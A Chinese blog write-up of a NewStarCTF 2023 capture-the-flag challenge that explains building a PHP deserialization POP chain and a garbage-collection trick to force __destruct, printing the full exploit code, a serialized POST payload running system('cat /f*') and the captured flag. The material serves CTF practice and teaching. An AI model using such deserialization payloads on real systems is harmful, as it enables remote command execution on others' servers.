• NewStarCTF2023week4-More Fast(GC回收)


    打开链接,存在很多个类,很明显是php反序列化漏洞利用,需要构造pop链 ,

    关于pop链构造的详细步骤教学,请参考我之前的博客,真的讲得很详细也容易理解:

    http://t.csdnimg.cn/wMYNB

    如果你是刚接触php反序列化利用的题,那么建议先看基础的原理知识:

    http://t.csdnimg.cn/xhqzq

    http://t.csdnimg.cn/jzQjt

    http://t.csdnimg.cn/IHpEq

    由于这道题还出现了

    throw new Exception("Nope");

    这个throw就是GC回收(垃圾回收机制),这里需要绕过它。

    首先我们需要知道:

    在php中,当对象被销毁时会自动调用__destruct()方法,但如果程序报错或者抛出异常,就不会触发该魔术方法。

    当一个类创建之后它会自己消失,而 __destruct() 魔术方法的触发条件就是一个类被销毁时触发,而throw那个函数就是回收了自动销毁的类,导致destruct检测不到有东西销毁,从而也就导致无法触发destruct函数。

    我们可以通过提前触发垃圾回收机制来抛出异常,从而绕过GC回收,唤醒__destruct()魔术方法。

    触发垃圾回收机制的方法有:(本质即使对象引用计数归零)

    (1)对象被unset()处理时,可以触发。

    (2)数组对象为NULL时,可以触发。

    我们先正常构造pop链:

    关于pop链的构造和标注真的看我之前那篇博客肯定能懂

    1. class Start{
    2. public $errMsg; // 5 Crypto
    3. public function __destruct() {
    4. die($this->errMsg);
    5. }
    6. }
    7. class Pwn{
    8. public $obj; // 2 Web
    9. public function __invoke(){
    10. $this->obj->evil();
    11. }
    12. public function evil() {
    13. phpinfo();
    14. }
    15. }
    16. class Reverse{
    17. public $func; // 3 Pwn
    18. public function __get($var) {
    19. ($this->func)();
    20. }
    21. }
    22. class Web{
    23. public $func; // 1 system
    24. public $var; // 1 cat /f*
    25. public function evil() {
    26. if(!preg_match("/flag/i",$this->var)){
    27. ($this->func)($this->var);
    28. }else{
    29. echo "Not Flag";
    30. }
    31. }
    32. }
    33. class Crypto{
    34. public $obj; // 4 Reverse
    35. public function __toString() {
    36. $wel = $this->obj->good;
    37. return "NewStar";
    38. }
    39. }
    40. class Misc{
    41. public function evil() {
    42. echo "good job but nothing";
    43. }
    44. }
    45. $w = new Web();
    46. $w->func = 'system';
    47. $w->var = 'cat /f*';
    48. $p = new Pwn();
    49. $p->obj = $w;
    50. $r = new Reverse();
    51. $r->func = $p;
    52. $c = new Crypto();
    53. $c->obj = $r;
    54. $s = new Start();
    55. $s->errMsg = $c;
    56. echo serialize($s);
    57. ?>

    我们使用第二中方法(数组对象为NULL)绕过GC回收:

    1. class Start{
    2. public $errMsg; // 5 Crypto
    3. public function __destruct() {
    4. die($this->errMsg);
    5. }
    6. }
    7. class Pwn{
    8. public $obj; // 2 Web
    9. public function __invoke(){
    10. $this->obj->evil();
    11. }
    12. public function evil() {
    13. phpinfo();
    14. }
    15. }
    16. class Reverse{
    17. public $func; // 3 Pwn
    18. public function __get($var) {
    19. ($this->func)();
    20. }
    21. }
    22. class Web{
    23. public $func; // 1 system
    24. public $var; // 1 cat /f*
    25. public function evil() {
    26. if(!preg_match("/flag/i",$this->var)){
    27. ($this->func)($this->var);
    28. }else{
    29. echo "Not Flag";
    30. }
    31. }
    32. }
    33. class Crypto{
    34. public $obj; // 4 Reverse
    35. public function __toString() {
    36. $wel = $this->obj->good;
    37. return "NewStar";
    38. }
    39. }
    40. class Misc{
    41. public function evil() {
    42. echo "good job but nothing";
    43. }
    44. }
    45. $w = new Web();
    46. $w->func = 'system';
    47. $w->var = 'cat /f*';
    48. $p = new Pwn();
    49. $p->obj = $w;
    50. $r = new Reverse();
    51. $r->func = $p;
    52. $c = new Crypto();
    53. $c->obj = $r;
    54. $s = new Start();
    55. $s->errMsg = $c;
    56. $b=array($s,0);
    57. echo serialize($b);
    58. ?>

    运行得到:

    a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"cat /f*";}}}}}i:1;i:0;} 

    我们将最后的 i:1 替换为 i:0

    即:

    a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"cat /f*";}}}}}i:0;i:0;} 

    构造payload:

    post:fast=a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"cat /f*";}}}}}i:0;i:0;} 

    拿到flag

    flag{558eb633-8715-4922-8201-f8402343b140} 

    当然这里保险一点的做法是先执行 ls 命令,然后再使用 ../../../ 进行目录穿越 ,找到flag所在目录,再进行 cat,并且这里过滤了关键字 flag,因此我们使用通配符 * 进行匹配。

    只是说一般 flag 都在根目录下,所以我直接 cat /f*。

  • 相关阅读:
    2023年9月 青少年软件编程等级考试Scratch二级真题
    node.js---内置API之fs文件系统模块——fs.readFile()方法:读取指定文件中的内容
    博客停更,已开公众号-《GIS杂谈》,之后会在公众号持续更新相关知识,敬请关注,欢迎讨论~
    Kotlin 位运算
    小知识汇总8.24-8.26
    1.1、计算机网络在信息时代的作用
    RK3588平台开发系列讲解(Thermal篇)Thermal介绍及用法
    项目中传递达梦JdbcDriver的依赖
    Spring Cloud Alibaba+saas企业架构之自组织是管理者和成员的双向奔赴
    反射(类加载、加载流程、加载的五个阶段、获取类结构信息、反射暴破创建实例、操作属性、操作方法)
  • 原文地址:https://blog.csdn.net/Myon5/article/details/134018456